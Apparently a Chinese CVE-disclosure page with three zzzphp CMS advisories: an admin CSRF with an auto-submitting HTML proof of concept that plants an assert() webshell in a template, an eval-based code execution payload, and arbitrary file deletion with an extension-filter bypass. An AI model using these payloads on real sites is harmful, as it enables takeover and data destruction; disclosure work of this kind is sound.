CVE中文申请站

CVE-2019-9182:zzzphp V1.6.1 后台csrf漏洞

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 后台csrf漏洞
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9182


二、漏洞概述

整站后台请求没有加上csrf token保护,所以可以伪造客户端请求。 配合后台代码执行漏洞(http://www.iwantacve.cn/index.php/archives/118/),即可getshell。

三、利用方法

将以下代码保存为html文件,放在网站上,将网址发给站长,在站长登陆的情况下,点击链接即可在search.html模版中插入恶意代码从而getshell。

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">

      <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />

      <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      document.forms[0].submit();

    </script>

  </body>

</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/119/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9182
exploit-db:发布中

CVE-2019-9041:zzzphp V1.6.1 动态代码执行

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 动态代码执行(dynamic code evaluation/ code injection)
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9041


二、漏洞概述

Zzzphp cms的代码中,搜索页面对搜索模版的解析过滤不严,导致在后台更改的代码中可以带入php代码造成代码执行。
在/search/index.php中
第二行

require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

跟踪到/inc/zzz_client.php中
第136行至140行

elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
        $zcontent = load_file($tplfile,$location);    
        $parser = new ParserTemplate();
        $zcontent = $parser->parserCommom($zcontent); // 解析模板
        echo $zcontent; 

继续跟踪到/inc/zzz_template.php中对ParserTemplate()的定义
第23行:

        $zcontent = $this->parserIfLabel( $zcontent ); // IF语句

接着跟踪到/inc/zzz_template.php中对parserIfLabel()的定义
第2192到2213行:

        $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
        if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
                       $count = count( $matches[ 0 ] );
               for ( $i = 0; $i < $count; $i++ ) {
                       $flag = '';
                       $out_html = '';
                       $ifstr = $matches[ 1 ][ $i ];
                       $ifstr = str_replace( '<>', '!=', $ifstr );
                       $ifstr = str_replace( 'mod', '%', $ifstr );
                       $ifstr1 = cleft( $ifstr, 0, 1 );
                       switch ( $ifstr1 ) {
                               case '=':
                                       $ifstr = '0' . $ifstr;
                                       break;
                               case '{':
                               case '[':
                                       $ifstr = "'" . str_replace( "=", "'=", $ifstr );
                                       break;
                       }
                       $ifstr = str_replace( '=', '==', $ifstr );
                       $ifstr = str_replace( '===', '==', $ifstr );
                       @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
 

$ifstr经过一系列过滤最后进入eval函数,造成了代码执行。

三、利用方法

后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑
在模版中添加{if:assert($_POST[x])}phpinfo();{end if} 保存
访问 http://webroot/search/
post数据: x = phpinfo(); 即可执行代码。
1.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/118/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9041
exploit-db:发布中

CVE-2018-20127:zzzphp cms 1.5.8 后台文件任意删除

一、漏洞摘要

漏洞名称: zzzphp cms 1.5.8 后台文件任意删除
上报日期: 2018-12-08
漏洞发现者: Krypton
产品首页: http://zzzcms.com/
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.5.8 正式版
CVE编号: CVE-2018-20127


二、漏洞概述

漏洞入口位于/admin/save.php文件下的第22
2018-12-07.09.29.30-image.png
switch判断传来的act的参数值,然后通过不同的值 return到不同的方法,进行文件的操作。我们追踪这个方法(del_file($path))。
phpstorm下选中函数名按住CTRL+SHIFT+F可以快速定位;然后给我定位到了inc/zzz_file.php511行,通过这文件名,可以猜出他是一个专门用来处理文件的php文件。
2018-12-07.09.40.45-image.png

然后分析一下这个方法里的代码,看他实现了什么功能。
这是一个有参数的方法,形参是$file,然后进入if判断,如果这个参数是nullreturn false ,513行判断是否是一个常规的文件,如果是则真区间的结果$file赋值给$file,如果并不是,就以根目录.文件的形式赋值给$file参数

然后进入第二个if,还是判断了文件,如果是文件 则进入下面代码,用file_ext($file)方法去对$file参数做了一个处理并讲结果赋值给$ext变量。这里对这个进行定位,看看他是怎么进行操作的。然后来到了第114
2018-12-07.09.55.09-image.png
看他的注释,就差不多知道是干什么的了,就是判断文件不包含. ,应该是用来防止目录跳跃的,可是他没限制路径,照样是可以任意文件删除,这是后话,知道这个方法是干嘛的,然后继续回到515行,继续往下读代码

再往下走又进入了一个if判断,他将$ext变量丢到in_array()方法,从array数组中去比较,是否有指定的几个后缀,如果有,return false 。这里貌似是限制了几个文件名,但是可以用方法绕过的...... ,好 ,继续往下看代码

又来到一个if,已经是最后一个if了,也其实没啥看的了 ,执行的删除功能。

现在按照审计的思路 去复现一下。

三、利用过程

来到后台文件管理--数据库备份
2018-12-07.10.33.19-image.png

首先备份数据库,然后删除处抓包,发到重放模块,点击Go,
2018-12-07.10.35.10-image.png
从数据包可以看出,他是根据路径来的,,审计的时候,已经避免了路径穿越,但是可以通过更改路径去进行任意文件删除
然后再看下文件是否存在
2018-12-07.10.35.51-image.png
已经删除了,现在在本机网站所在磁盘根目录新建一个txt文件和php文件,进行删除演示
2018-12-07.10.38.36-image.png

删除txt:
2018-12-07.10.39.24-image.png
2018-12-07.10.39.35-image.png

删除php:
2018-12-07.10.40.31-image.png

2018-12-07.10.40.40-image.png

可以看到都是可以删除的,前面审计的时候,限制了php,可以用x.phP.的方式进行删除文件。


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/89/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20127
exploit-db:发布中